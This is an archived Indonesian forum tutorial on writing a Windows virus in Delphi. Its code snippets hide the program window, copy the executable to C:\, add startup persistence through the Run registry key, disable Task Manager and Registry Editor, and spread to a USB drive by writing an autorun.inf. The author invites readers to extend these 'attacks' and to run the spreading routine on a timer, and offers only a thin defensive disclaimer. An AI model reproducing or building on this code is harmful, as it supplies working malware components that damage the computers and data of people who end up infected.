Arsip: Tips dan Trik Membuat Virus dari Delphi
by e2n_qren in Security more 12 years ago 4962
Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Dan saya memuat artikel ini bukan untuk merusak, tetapi agar kita semua bisa mengetahui bagaimana virus itu beraksi, jadi kita bisa menghalangi virus yg masuk ke pc kita. Kalo setuju silakan lanjut.
Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas
sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus
lokal) antara lain:
- Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
- Meng-copy dirinya ke direktori sistem
- Membuat dirinya otomatis dijalankan pada saat startup Windows
- Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
- Men-copy dirinya ke media removable semacam flashdisk
- Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.
Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:
Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)
Attack#1- Menyembunyikan diri
Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event
form create:
Application.ShowMainForm := False;
Attack#2- Men-copy diri ke sistem
Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja.
Langsung aja kerikkan code ini:
CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);
Attack#3- Startup otomatis
Windows akan menjalankan program/script yang diletakkan pada:
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
- HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
- C:\Documents and Settings\All Users\Start Menu\Programs\Startup
- C:\Documents and Settings\[username]\Start Menu\Programs\Startup
Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry
key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan
code dbawah untuk mengakses registry dan membuat string value di path yg
kusebutin diatas.
uses
Registry;
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;
Attack#4- Disable tools bawaan Windows
Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena
terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor
dan Task Manager. Yang lainnya kembangkan sendiri yach...!
uses
Registry;
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System',
True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;
Attack#5- Menyebarkan diri ke flashdisk
Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang
telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file
autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer
lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan
proses penyebaran ke drive G:\
var
Atr : TextFile;
begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);
//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;
Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer.
Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan,
menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran
virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa
antivirus. Semoga bermanfaat.
Random Articles
- IlmuKomputer.Com Goes Blog
- Membuat EditBox yang RataKanan
- Tips: Garis Panduan di Form Designer
- Lazarus Release 2.2.0
- Dynamic Menu based on MySQL Database Method II
- Selamat Idul Fitri 1428H
- Mendeteksi Memory Leak (Memory Leak Detection)
- Tips: Lacak Variabel dan Indentifer di Lazarus
- Mengandakan nama folder seperti virus
- Menutup Aplikasi Lain
Last Articles
Recent Topic
- PascalTalk #6: (Podcast) Kuliah IT di luar negeri, susah gak sih?
by LuriDarmawan in Tutorial & Community Project more 2 years ago - PascalTalk #5: UX: Research, Design and Engineer
by LuriDarmawan in Tutorial & Community Project more 2 years ago - PascalTalk #4: Obrolan Ringan Seputar IT
by LuriDarmawan in Tutorial & Community Project more 2 years ago - PascalTalk #2: Membuat Sendiri SMART HOME
by LuriDarmawan in Tutorial & Community Project more 2 years ago - PascalTalk #3: RADically Fast and Easy Mobile Apps Development with Delphi
by LuriDarmawan in Tutorial & Community Project more 2 years ago - PascalTalk #1: Pemanfaatan Artificial Intelligence di Masa Covid-19
by LuriDarmawan in Tutorial & Community Project more 2 years ago - Tempat Latihan Posting
by LuriDarmawan in OOT more 3 years ago - Archive
- Looping lagi...
by idhiel in Hal umum tentang Pascal Indonesia more 10 years ago - [ask] koneksi ke ODBC user Dsn saat runtime dengan ado
by halimanh in FireBird more 10 years ago - Validasi menggunakan data tanggal
by mas_kofa in Hal umum tentang Pascal Indonesia more 10 years ago